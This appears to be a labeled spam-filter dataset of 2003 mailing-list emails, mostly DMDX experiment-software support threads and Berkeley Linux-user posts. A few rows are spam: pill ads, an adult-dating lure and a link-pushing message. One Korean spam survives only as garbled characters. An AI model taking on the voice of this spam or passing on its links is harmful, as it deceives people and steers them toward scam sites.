Well now the program is not running again. I keep getting this error: Could not find Registry key I have attempted to lower the resolution and refresh rates with no avail. I also attempted to run older versions of Dmdx, again to no avail. Does anybody have any other recourse we can follow through, as I feel the only explanation left is that this computer just does not like Dmdx! Thank you. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Jan 2003 12:13:43 -0700",[DMDX] Re: Dmdx freezes II,"At 01:37 PM 1/27/2003 -0500, you wrote: >Hello, > >I had a problem with Dmdx and a Pent II, Windows 95, 64 RAM, ATI 3D >PRO. Well the problem was deduced to be Windows, so we upgraded to >Widnows 98. The problem persisted so then we assumed it was the >display drivers (since Dmdx is running on two other computers that were >exactly the same except for the monitor and display drivers). Once the >display drivers were upgraded dmdx appeared to work fine, albeit a bit >slower when loading the program, but ran fine. Well now the program is >not running again. I keep getting this error: > >Could not find Registry key Drivers\\640x480 (480)_8bpa_0Hz> > >I have attempted to lower the resolution and refresh rates with no >avail. I also attempted to run older versions of Dmdx, again to no >avail. Does anybody have any other recourse we can follow through, as >I feel the only explanation left is that this computer just does not >like Dmdx! Thank you. Certainly there are some machines that just plain can't handle DMDX and they're usually old machines. However that message means you need to time that video mode, if it was timed in the past then something has damaged the registry. Perhaps the hard disk is failing and you need to check it's integrity. Perhaps you just need to reformat it and install 98 from scratch and see if it gets better. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public.",0,0 gardners@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Mon, 27 Jan 2003 16:41:14 -0700",[DMDX] Using a Gamepad in DMDX,"Hello - I have been working with DMDX and wish to use a GamePad to record response time for a maze task. (Two words are presented, the subject needs to choose the right or left word.) The actual type is GamePad Pro USB by Gravis. I cannot get DMDX to recognize the buttons. First question: For this device what Input Device do I use? After I have this I think I can get the buttons to map using the and commands to chose the buttons for a yes and no response. I have used TimeDX to see which buttons correspond to the button names (i.e. ""button 4""). There are buttons 0-9 and when in TimeDX I can press a button and get the button name to highlight. However, I cannot make this work in DMDX. I have searched the online tutorials, and FAQ's to see if this has been addressed previously, however, I was unable to find just the right information.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Jan 2003 16:59:51 -0700",[DMDX] Re: Using a Gamepad in DMDX,"At 04:41 PM 1/27/2003 -0700, you wrote: >Hello - > >I have been working with DMDX and wish to use a GamePad to record response >time for a maze task. (Two words are presented, the subject needs to choose >the right or left word.) The actual type is GamePad Pro USB by Gravis. >I cannot get DMDX to recognize the buttons. First question: > >For this device what Input Device do I use? Either of the joystick devices. If TimeDX sees it as you indicate below then you use the name of the device that TimeDX displays that you click on to test the device. >After I have this I think I can get the buttons to map using the >and commands to chose the buttons for a yes and no response. > >I have used TimeDX to see which buttons correspond to the button names (i.e. >""button 4""). There are buttons 0-9 and when in TimeDX I can press a button >and get the button name to highlight. However, I cannot make this work >in DMDX. In DMDX to use the button you would put in the item file. >I have searched the online tutorials, and FAQ's to see if this has been >addressed previously, however, I was unable to find just the right >information. > There may be some issue I'm not recalling at the moment but my guess is that if TimeDX sees the device you've just got to get the names right for DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public.",0,0 Marshall Perrin ,Kelley McDonald ,"Tue, 28 Jan 2003 12:24:19 -0800",red hat eol,"https://www.redhat.com/apps/support/errata/ http://212.100.234.54/content/4/29053.html http://lwn.net/Articles/18925/ http://slashdot.org/article.pl?sid=03/01/27/239231&mode=thread&tid=110 looks pretty bad to me... - Marshall ",0,1 Kelley McDonald ,linuxusers@astron.Berkeley.EDU,"Tue, 28 Jan 2003 12:35:37 -0800",info on RedHat Errata Support,"I just got this from Marshall Perrin about the terms by which RedHat plans to support their Linux OS with patches. Please direct your web browsers to https://www.redhat.com/apps/support/errata/ For more complete info. I am not sure how to interpret this, short of saying that unless there is great demand for it, RedHat won't support any version of Linux past the current release (or its more expensive counterparts) for more than a year after its release. Kelley ------------------------------------------------------ Kelley McDonald Sr. Systems Administrator Astronomy Department kelley@astro.berkeley.edu ------------------------------------------------------ ",0,1 �� �Ｎ ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Jan 2003 13:36:51 -0700",�ֺ� �����ڵ� ������ Ư�� ���� ����Դϴ�,������ �� �� Speed ��     ���� 50���� �� �� ������ ����������  �� �� ��  �� �� ��  �� �� ��  ���� �������� ���� ���� ����  �� �� �� ���� ������  �� �� �� ��  �� ��  ����  ������  1����     ������ ������ ������ ������  ������������    ������ ������ ����������,1,1 Alfonzo Ott ,DMDX@psy1.psych.arizona.edu,"Wed, 29 Jan 2003 01:46:05 -0100",Re:,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. FUH69D356 We give you the issue! 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Ypou may have a look on the web page Cheers Franck M. -- --- Franck Marchis ------------------------ Phone: +1 510 642 3958 -- University of California Postdoctoral Research Associate -- Dept. of Astronomy Fax: +1 510 642 3411 -- 601 Campbell Hall fmarchis@astron.berkeley.edu -- --- Berkeley CA 94720 - USA --http://astron.berkeley.edu/~fmarchis -- ",0,1 James Colby Kraybill ,linuxusers@astron.Berkeley.EDU,"Wed, 29 Jan 2003 11:46:38 -0800",Re: info about Mandrake Linux," Data point: U of Maryland Astronomy settled on Mandrake. --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Tue, 28 Jan 2003, Franck Marchis wrote: > Kelley and other Linuxers., > > Forget about the Linux version supported by the CFHT. In fact, this version which is extremely compact was developped for laptop computers but it is not very handy for normal users. It is called Sidius. > > In Europe, a lot of people use Mandrake Linux which is supposely more reliable and secure than Red Hat and easier to install. Mandrake is developped by a small company which has an office in Pasadena. see http://www.mandrakelinux.com/en/ > I did not find information about the support they provided. Ypou may have a look on the web page > > Cheers > Franck M. > > > > -- > --- Franck Marchis ------------------------ Phone: +1 510 642 3958 -- > University of California Postdoctoral Research Associate -- > Dept. of Astronomy Fax: +1 510 642 3411 -- > 601 Campbell Hall fmarchis@astron.berkeley.edu -- > --- Berkeley CA 94720 - USA --http://astron.berkeley.edu/~fmarchis -- > > ",0,1 Vincent ,Zayd ,"Fri, 31 Jan 2003 01:32:47 +1200",Been saved lately,"How it going Zayd, Sorry for how long its been since we've talked. I take blame for that. I just wanted to share with you the place that made me better after my sickeness, www.hadstufdiner.com/vc1/. You should really give them a glance. dancers. Inman submission In in school Roughing It the work that he puts forth from Vincent ",1,0 """Wan Mei Po, Mabel"" ",DMDX@psy1.psych.arizona.edu,"Fri, 31 Jan 2003 13:25:08 +0800",[DMDX] Timing accuracy and display error,"Hi all, The refresh rate of my monitor is 16.57ms. I set the items to be displayed at 300 ticks each. Therefore, with the RT accuracy test, I should obtain a figure somewhere around 4971ms. Nevertheless, I have obtained sth different. Subject 2, 01/30/2003 16:58:41 on I8D0U9, refresh 16.68ms Item RT COT 1 -1300.00 0.00 2 -1300.00 6153.41 3 -1300.00 12306.82 4 -1300.00 18460.27 5 -1300.00 24613.64 Even with the refresh rate 16.68ms, the COT should be about 5000ms, rather than 6153ms. There may also be some problems with the ticks and display . Since some of the items are visibly slower, in the output file, display error was stated. ! Display error at msec 225857.94, tick 12666 in item 115, frame """" ! 16.49ms of refused video flips occured ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 1 tick As my stimuli are Chinese characters, there was a small dot appearing near the bottom left side of some characters (but not all) despite its absence in the input files. Furthermore, after running several sessions, the program do not run on opening a new sessions, with the dialogue box noting that there was illegal operations and the program aborted immediately. What could I do to solve the problems above? The configuration of my PC is Pentium III 700Mhz, Chinese Window 98, 32MB video memory. Thank you very much. Regards, Mabel Wan Wan Mei Po, Mabel Department of Psychology The University of Hong Kong ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Fri, 31 Jan 2003 09:23:41 -0000",[DMDX] Problem with recordvocal ,"Hi all. I was wondering if anyone has encountered and figured out the solution to the below problem. Im running an experiment where the subject has to respond at the end of each trail; they have to say ""same"" or ""different"". I've two versions of the experiment. The first version (A) works fine and recordvocal records what the subject says without any problems. The second version (B), which has identical settings as the first however only records the 's' of same and the 'di' of different. To prevent the possibility of the wav file in (B) from activating digitalvox, all heard stimuli are presented through headphones (the wav file is 3 seconds long). I have a soundblaster live in the computer and am wondering whether it could be a hardware problem with the sound card and windows xp that im running the latest version of DMDX on. It could be something to do with the soundcard playing a wav file and being expected to record a response at the same time (only script B). I've tried altering the order of and have tried adding as suggesting in one of the emails on the user list server but neither have had an effect. Cheers for any help, Andy. (A) < mpr “+DigitalVOX”> =87 “Please Wait” / “Please get ready to feel then view the objects” / “PREBEEP” / “Please touch the object” / “tone” / / “CROSS” / * “v” /; (B) =87 “Please Wait” / “Please get ready to view then feel the objects” / “CROSS” / “h” / / “PREBEEP” / * “Please touch the object” / “tone” /; Andy Woods, Room 1.10, Department of Psychology, Aras an Phiarsaigh, University of Dublin, Trinity College, Dublin 2, Ireland. Tel: + 353 (0) 1 608 1521 Fax: + 353 (0) 1 671 2006 Mob: + 353 (0) 87779 4280",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 31 Jan 2003 08:41:19 -0700",[DMDX] Re: Timing accuracy and display error,"At 01:25 PM 1/31/2003 +0800, you wrote: >Hi all, > >The refresh rate of my monitor is 16.57ms. I set the items to be displayed >at 300 ticks each. Therefore, with the RT accuracy test, I should obtain a >figure somewhere around 4971ms. Nevertheless, I have obtained sth different. > >Subject 2, 01/30/2003 16:58:41 on I8D0U9, refresh 16.68ms > Item RT COT > 1 -1300.00 0.00 > 2 -1300.00 6153.41 > 3 -1300.00 12306.82 > 4 -1300.00 18460.27 > 5 -1300.00 24613.64 > >Even with the refresh rate 16.68ms, the COT should be about 5000ms, rather >than 6153ms. So maybe you need to set a D parameter, who knows, I can't tell without seeing a sample of your item file. Did you read the timing notes? >There may also be some problems with the ticks and display . Since some of >the items are visibly slower, in the output file, display error was stated. >! Display error at msec 225857.94, tick 12666 in item 115, frame """" >! 16.49ms of refused video flips occured >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 1 tick Horrible hardware or horrible display drivers, one of the two. >As my stimuli are Chinese characters, there was a small dot appearing near >the >bottom left side of some characters (but not all) despite its absence in the >input files. See the keyword. >Furthermore, after running several sessions, the program do not run on >opening >a new sessions, with the dialogue box noting that there was illegal >operations >and the program aborted immediately. Really horrible hardware. Perhaps try using the DMDX shortcut for really bad video cards. >What could I do to solve the problems above? >The configuration of my PC is Pentium III 700Mhz, Chinese Window 98, 32MB >video memory. Apply driver updates to the machine, apply a VIA Hyperion driver update /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How come wrong numbers are never busy?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 31 Jan 2003 08:43:57 -0700",[DMDX] Re: Problem with recordvocal ,"At 09:23 AM 1/31/2003 +0000, you wrote: >Hi all. > >I was wondering if anyone has encountered and figured out the solution to >the below problem. > >Im running an experiment where the subject has to respond at the end of each >trail; they have to say ""same"" or ""different"". I've two versions of the >experiment. The first version (A) works fine and recordvocal records what >the subject says without any problems. The second version (B), which has >identical settings as the first however only records the 's' of same and the >'di' of different. To prevent the possibility of the wav file in (B) from >activating digitalvox, all heard stimuli are presented through headphones >(the wav file is 3 seconds long). I have a soundblaster live in the computer >and am wondering whether it could be a hardware problem with the sound card >and windows xp that im running the latest version of DMDX on. Original SBLive divers were horrible. Later ones still suck but they work for most applications. > It could be >something to do with the soundcard playing a wav file and being expected to >record a response at the same time (only script B). I've tried altering the >order of and have tried adding ""RecordVocal"" 0, 1000> as suggesting in one of the emails on the user list >server but neither have had an effect. > >Cheers for any help, Andy. Don't include the DigitalVOX device in the second item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How come wrong numbers are never busy?",0,0 Tim Abbott ,"scistaff@ctiosz.ctio.noao.edu, ets@ctiosz.ctio.noao.edu","Fri, 31 Jan 2003 17:40:14 -0300",VNC with SSH," Hi All, I have figured out how to use VNC on my Windows XP laptop with SSH so that I can log into a linux computer from outside the firewall and do X-windows stuff. Perhaps this is old news to some, but I had to figure it out from scratch so here is a howto for those that care. (In principle, I suppose you should be able to do this for windows machines on the inside too). 1) Get the (free) VNC viewer for your laptop (http://www.uk.research.att.com/vnc/) 2) Get the (free) putty SSH client for your laptop (http://www.chiark.greenend.org.uk/~sgtatham/putty/) 3) Work with putty and VNC within the firewall to gain some familiarity and make sure they're working 4) From outside the firewall, putty to your linux workstation, start the vncserver (use an 8 bit depth unless you've got lots of bandwidth or want the pictures to be pretty) and log out. 5) Restart putty and create a new session with: - Session/host name: ctioXX.ctio.noao.edu - Session/ssh: checked (this will make the port #22) - Connection/SSH/Enable compression: checked (unless the computers concerned are very slow this makes a big difference to speed). - Connection/SSH/SSH protocol 2: checked - Connection/SSH/Tunnels/Enable X11 forwarding: checked - Connection/SSH/Tunnels/X display location: localhost:1 - Connection/SSH/Tunnels/Port Forwarding: add a forwarded port with source port 5901, destination ctioXX.ctio.noao.edu:5901, and ""Local"" checked (please don't ask me why, I just know it works, and doesn't if you don't). Don't forget to save the putty session with a suitable name, or you'll have to do the setup every time. 6) Open this putty connection and log in to your workstation. You may be asked to approve the encryption key. This will actually look like a normal putty connection and I think it can be used as such. This window can be iconified to get it out of the way but don't kill it while you're running VNC. (By the way, the VNC server must exist before this connection is made so you can't use it to launch the server which is a pity because it would mean one less step to the process.) 7) Start the VNC viewer, point it at port localhost:1, log into the VNC session and X to your heart's content. This works fine with my setup and is quite useable via Entel Will. I imagine a modem might be somewhat less fun but workable in a pinch. It is really very easy once set up and as long as you don't try and wrap your brain around tunnelling. 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Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 ",0,0 Arturo Kiyama ,DMDX@psy1.psych.arizona.edu,"Mon, 03 Feb 2003 16:06:15 -0500",[DMDX] Re: Dmdx freezes II,"At 01:37 PM 1/27/2003 -0500, you wrote: >Hello, > >I had a problem with Dmdx and a Pent II, Windows 95, 64 RAM, ATI 3D >PRO. Well the problem was deduced to be Windows, so we upgraded to >Widnows 98. The problem persisted so then we assumed it was the >display drivers (since Dmdx is running on two other computers that were >exactly the same except for the monitor and display drivers). Once the >display drivers were upgraded dmdx appeared to work fine, albeit a bit >slower when loading the program, but ran fine. Well now the program is >not running again. I keep getting this error: > >Could not find Registry key Drivers\\640x480 (480)_8bpa_0Hz> > >I have attempted to lower the resolution and refresh rates with no >avail. I also attempted to run older versions of Dmdx, again to no >avail. Does anybody have any other recourse we can follow through, as >I feel the only explanation left is that this computer just does not >like Dmdx! Thank you. Certainly there are some machines that just plain can't handle DMDX and they're usually old machines. However that message means you need to time that video mode, if it was timed in the past then something has damaged the registry. Perhaps the hard disk is failing and you need to check it's integrity. Perhaps you just need to reformat it and install 98 from scratch and see if it gets better. ---------------------------- How should I approach this problem if, Windows 98 and the hard drive have been cleared of the problem? We have also attempted uninstall and reinstall DMDX. Thank you. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 03 Feb 2003 14:18:54 -0700",[DMDX] RE: Re: Dmdx freezes II,"-----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arturo Kiyama Sent: Monday, February 03, 2003 2:06 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Dmdx freezes II At 01:37 PM 1/27/2003 -0500, you wrote: >Hello, > >I had a problem with Dmdx and a Pent II, Windows 95, 64 RAM, ATI 3D >PRO. Well the problem was deduced to be Windows, so we upgraded to >Widnows 98. The problem persisted so then we assumed it was the >display drivers (since Dmdx is running on two other computers that were >exactly the same except for the monitor and display drivers). Once the >display drivers were upgraded dmdx appeared to work fine, albeit a bit >slower when loading the program, but ran fine. Well now the program is >not running again. I keep getting this error: > >Could not find Registry key Drivers\\640x480 (480)_8bpa_0Hz> > >I have attempted to lower the resolution and refresh rates with no >avail. I also attempted to run older versions of Dmdx, again to no >avail. Does anybody have any other recourse we can follow through, as >I feel the only explanation left is that this computer just does not >like Dmdx! Thank you. This error message means that you have not succeeded in getting TimeDX to store the refresh rate for this particular video mode in the registry. Are you sure that you have done this correctly? --k.i.f.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 03 Feb 2003 14:55:36 -0700",[DMDX] Re: DMDX to a network,"At 03:52 PM 2/3/2003 -0500, you wrote: >I looked around and could not find a tutorial or information of DMDX >being able to have data written/saved on the network, instead of the >hard drive/floppy. Is this possible with the program? And how? Thank >you. Create a network drive and browse DMDX to it and use that for tiem files. But you can't have multiple machines running the same item file on the same server, DMDX doesn't create unique temporary file names. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 03 Feb 2003 14:56:25 -0700",[DMDX] Re: Dmdx freezes II,"At 04:06 PM 2/3/2003 -0500, you wrote: >How should I approach this problem if, Windows 98 and the hard drive >have been cleared of the problem? We have also attempted uninstall and >reinstall DMDX. Thank you. Try another video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 agnès caño ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Feb 2003 17:24:33 +0100",[DMDX] dmdx,"Hi, I have a problem. I want to prepare an experiment in which I need to record RTs from two response modalities, the first response it should be recorded by keyboard response, and the second and the third responses by voicekey. My experiment is with images. Thanks you ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 05 Feb 2003 10:08:53 -0700",[DMDX] Re: dmdx,"At 05:24 PM 2/5/2003 +0100, you wrote: >Hi, >I have a problem. I want to prepare an experiment in which I need to >record RTs from two response modalities, the first response it should be >recorded by keyboard response, and the second and the third responses by >voicekey. My experiment is with images. You will have to use three items. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Thu, 06 Feb 2003 14:01:50 -0800",[announce@sims] CodeCon 2003 (fwd),"------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu Graduate Student astron.berkeley.edu/~jhall Astronomy Department 601 Campbell Hall voice: (510) 643-8592 University of California at Berkeley fax : (510) 642-3411 Berkeley, CA 94720-3411 face : 753B Campbell ""If we die, we want people to accept it. We're in a risky business, and we hope that if anything happens to us it will not delay the program. The conquest of space is worth the risk of life."" -Gus Grissom, before the first manned Apollo mission. Please avoid sending me Word or PowerPoint attachments. http://www.fsf.org/philosophy/no-word-attachments.html ---------- Forwarded message ---------- Date: Thu, 6 Feb 2003 12:12:29 -0800 (PST) From: Parker Thompson To: announce@SIMS.Berkeley.EDU Subject: [announce@sims] CodeCon 2003 February 22-24 (Sat-Mon) CodeCon 2003 will be happening in San Francisco. CodeCon (http://codecon.info) is a developer's conference with a strong emphasis on open software and standards and community-based (as opposed to commercial) development models. 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To unsubscribe, send an email message to Majordomo@sims.berkeley.edu with the phrase ""unsubscribe announce"" in the body of the message.",0,1 wanggm ,DMDX@psy1.psych.arizona.edu,"Fri, 07 Feb 2003 15:25:31 +0800",[DMDX] Why time is longer?,"Hi, I'm a Post grauduat student in China. When I use DMDX3.0 to write a psychological experimental procedure, I meet a problem, please help me. This is a 2-back experiment, I must display 7-10 digitals or Chinese characters continuesly, subjects have to press J or K continuesly to judge whether the forth digitals or chinese characters is the same to first one, and whether the fifth one is the same to the second one and so on. The problem is: If I display the 7-10 digitals or Chinese characters in only one item, I can't acquire 4-7 pieces of reaction time. I have try the keyword, but It gives me the accumulated reaction time, not each one. So I display 7-10 digitals or Chinese characters in 7-10 items, and I get 7-10 pieces of reaction time. But I still have two problem: (1) I only need 4-7 pieces of reaction time, the first 1-3 pieces of reaction time is not what I want, how to remove it without any influence? (2) I want to display each digital or Chinese character for 300 milliseconds, every digital or Chinese character has 400 or 800 interval of black screen, and subjects have to response during 300+400 or 300+800 milliseconds. But I found the interval of each digital or Chinese character is not 400 milliseconds, although I set the , the interval time is apparently longer than 400 or 800 milliseconds. Why it is longer? In addition, I set the keyword and check the .azk file, I found the time between two clockon is not 700 or 1100 milliseconds, It's longer also although I set the . I believe that DMDX is excerlent, maybe I do the wrong thing, maybe I use the or inappropriatly, But I didn't know why it is longer. So I paste my item file to you, Please tell me the answer. Thank you! Wang, G.M. China --------------------------------------------------------------- $ 0 ""Press SpaceBar to Start""; 250/; $ ^10 ""+""/ * ""9""//; ^11 * ""3""//; ^12 * ""7""//; -13 * ""5""//; +14 * ""3""//; +15 * ""7""//; -16 * ""8""//; ^20 ""+""/ * ""5""//; ^21 * ""4""//; ^22 * ""9""//; -23 * ""0""//; +24 * ""4""//; +25 * ""9""//; -26 * ""3""//; -27 * ""1""//; ^30 ""+""/ * ""��""//; ^31 * ""��""//; ^32 * ""��""//; +33 * ""��""//; -34 * ""��""//; +35 * ""��""//; -36 * ""��""//; -37 * ""��""//; -38 * ""��""//; ^40 ""+""/ ""��""//; ^41 * ""��""//; ^42 * ""��""//; -43 * ""��""//; -44 * ""��""//; +45 * ""��""//; -46 * ""��""//; -47 * ""��""//; -48 * ""��""//; -49 * ""��""//; $ 0 ""The End! Thank You!""; $",0,0 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Fri, 07 Feb 2003 09:49:04 -0800",WinDig (fwd),"Does anyone know of a linux version of a program like this? It's intent is to take a graph/figure that's in JPG or GIF (or PNG or whatever) and allow you to output the datapoints on the graph (via clicking or whatever)... which is a lot better and more accurate than using a damn ruler. Joe ---------- Forwarded message ---------- Date: Thu, 6 Feb 2003 17:44:26 -0800 (PST) From: Mate Adamkovics To: Gerardo Dominguez Cc: Joseph Lorenzo Hall , lueker@socrates.Berkeley.EDU Subject: WinDig Hey Everyone, For future reference, and if you ever use a windows machine, the image-to-data converter is called WinDig: http://www.unige.ch/sciences/chifi/cpb/windig.html I'd be happy to hear of a linux version of this software but I haven't done any searching. Cheers, -Mate",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 07 Feb 2003 18:39:17 -0700",[DMDX] Re: Why time is longer?,"At 03:25 PM 2/7/2003 +0800, you wrote: >Hi, > I'm a Post grauduat student in China. When I use DMDX3.0 to write a >psychological experimental procedure, I meet a problem, please help me. >... >subjects have to response during 300+400 or 300+800 milliseconds. But I >found the >interval of each digital or Chinese character is not 400 milliseconds, >although I >set the , is not possible, it means schedule the items as rapidly as possible (and therefore inaccurately). I'll have to update the docs I guess. > the interval time is apparently longer than 400 or 800 >milliseconds. Why it is longer? In addition, I set the keyword and >check If you had an infinitely fast computer you could have a D of 0, otherwise your machine has take some time to prepare the next item. Look at the Preparation times in the errors you might encounter: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxherrors.htm >the .azk file, I found the time between two clockon is not 700 or 1100 >milliseconds, It's longer also although I set the . I believe that >DMDX is >excerlent, maybe I do the wrong thing, maybe I use the or >inappropriatly, But I didn't know why it is longer. So I paste my item file to >you, Please tell me the answer. Thank you! Pick some positive value of D that is longer than the sum of the longest preparation times in your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's a fine line between courage and foolishness. Too bad it's not a fence.",0,1 Aldo Copeland ,DMDX@psy1.psych.arizona.edu,"Sat, 08 Feb 2003 01:28:50 -0400",are you alone?,"""We can do nothing for him,"" said the Tin Woodman, sadly; ""for he is much too heavy to lift. We must leave him here to sleep on forever, and perhaps he will dream that he has found courage at last."" c0ntct sinngle hh0rrny femalez seearch 0nline here",1,1 wanggm ,DMDX@psy1.psych.arizona.edu,"Sun, 09 Feb 2003 13:57:28 +0800",[DMDX] Why time is longer so much?,"Hello Mr Jforster, I have read through your letter and the ""the errors you might encounter"" in DMDX help file, I find that the preparation time is really a problem to be noticed. After a lot of thinking, I set (100 milliseconds in my computer, which is enough time of preparation). The following is my first modified item file: $ 0 ""Press SpaceBar to Start""; 250/; $ ^10 ""+""/ * ""9""//; ^11 * ""3""//; ^12 * ""7""//; -13 * ""5""//; +14 * ""3""//; +15 * ""7""//; -16 * ""8""//; ^30 ""+""/ * ""��""//; ^31 * ""��""//; ^32 * ""��""//; +33 * ""��""//; -34 * ""��""//; +35 * ""��""//; -36 * ""��""//; -37 * ""��""//; -38 * ""��""//; $ 0 ""The End! Thank You!""; $ A typical result maybe like this: ********************************************************************** Subject 1, 02/09/2003 13:03:47 on PSY-ZM, refresh 16.41ms Item RT COT 10 700.00 0.00 11 700.00 1444.06 12 700.00 2888.13 13 331.69 4332.20 14 338.48 5759.85 15 523.65 7187.50 16 437.17 8631.57 30 1100.00 12077.63 31 1100.00 13915.53 32 1100.00 15753.43 33 545.04 17591.33 34 662.94 19429.24 35 771.71 21250.72 36 829.27 23072.22 37 578.59 24910.11 38 -707.82 26731.61 It is very strange that the time between two clockon is much longer than the time that I want(300+400+6*16.41=800). Why???Why it's so long??? After a lot of thinking, I think the problem is the keyword. So I modify my item file once again like follow, just remove the and . $ 0 ""Press SpaceBar to Start""; 250/; $ ^10 ""+""/ * ""9""/; ^11 * ""3""/; ^12 * ""7""/; -13 * ""5""/; +14 * ""3""/; +15 * ""7""/; -16 * ""8""/; ^30 ""+""/ * ""��""/; ^31 * ""��""/; ^32 * ""��""/; -33 * ""��""/; +34 * ""��""/; -35 * ""��""/; -36 * ""��""/; +37 * ""��""/; +38 * ""��""/; $ 0 ""The End! Thank You!""; $ And I get the following result: ********************************************************************** Subject 1, 02/09/2003 13:11:27 on PSY-ZM, refresh 16.41ms Item RT COT 10 700.00 0.00 11 700.00 1411.25 12 700.00 2822.49 13 508.32 4233.74 14 656.47 5448.09 15 -700.00 6810.08 16 518.41 8237.73 30 1100.00 11470.47 31 1100.00 13291.96 32 1100.00 15113.45 33 494.57 16934.94 34 580.71 18149.27 35 918.68 19429.23 36 859.80 21070.22 37 785.67 22629.15 38 -745.41 24138.85 It's so strange that the time between two clockon is about 1400 milliseconds too. Why? And if we look at the results carefully, we can find that the time between two clockon is varying when the participant presses the positive or negative key. But this kind of thing DIDN'T happen in last item file. Why??? I think the only different thing between the two item file is the second item file has no after each digital or Chinese character display. That is or is longer than the time that the whole item will be displayed. So I try to set the , the item file is as follow: $ 0 ""Press SpaceBar to Start""; 250/; $ ^10 ""+""/ * ""9""/; ^11 * ""3""/; ^12 * ""7""/; -13 * ""5""/; +14 * ""3""/; +15 * ""7""/; -16 * ""8""/; ^30 ""+""/ * ""��""/; ^31 * ""��""/; ^32 * ""��""/; +33 * ""��""/; -34 * ""��""/; +35 * ""��""/; -36 * ""��""/; -37 * ""��""/; -38 * ""��""/; $ 0 ""The End! Thank You!""; $ But I get the following results: ********************************************************************** Subject 5, 02/09/2003 13:34:29 on PSY-ZM, refresh 16.41ms Item RT COT 30 300.00 0.00 31 300.00 1033.82 32 300.00 2051.23 33 -300.00 3068.64 34 -300.00 4086.05 35 -300.00 5119.87 36 -300.00 6153.69 37 -300.00 7171.10 38 -300.00 8204.91 10 300.00 11240.73 11 300.00 12258.14 12 300.00 13291.96 13 -300.00 14309.37 14 -300.00 15326.78 15 -300.00 16344.19 16 -300.00 17378.01 Why the time between two clockon is almost 1000 milliseconds??? Didn't it should be 300+6*16.41=400ms??? In addition, paticipants CAN'T response correctl in only 300 milliseconds, I want participants have more 400 or 800 milliseconds to response. How can I do this??? I'm so confused, so I write this long letter to you, please help me. Thank You! Wang, G.M.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 09 Feb 2003 17:57:08 -0700",[DMDX] Re: Why time is longer so much?,"You've got in the parameter line for clear feedback, feedback has a delay before it's displayed and a duration. You probably want for no feedback. At 01:57 PM 2/9/2003 +0800, you wrote: >Hello Mr Jforster, > > I have read through your letter and the ""the errors you might > encounter"" in >DMDX help file, I find that the preparation time is really a problem to be >noticed. After a lot of thinking, I set (100 milliseconds in my >computer, >which is enough time of preparation). The following is my first modified item >file: > > 800,600,600,16,0> 100> > You probably also want to read the timing notes if you haven't already, you're going to have at least one extra tick on your ISI for the last blank frame. Plus using is not exactly recommended for exact timing as it divides the time you wanted by the refresh rate, who knows what the exact frame duration will be. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's a fine line between courage and foolishness. Too bad it's not a fence.",0,0 wanggm ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Feb 2003 15:00:50 +0800",[DMDX] Re:Re: Why time is longer so much?,"Hello Mr Jonathan, I read through your letter carefully and changed the with the in my item file according to your advice, then my problem was solved. The time between two clockon almost 700+delay or 1100+delay, and when I replace with , I received more exact time. Although I can't receive the very exact time-700 or 1100, but I think it is enough to behavioral experiment. So I write this letter to thank you! Thank you for your help once more! Wang, 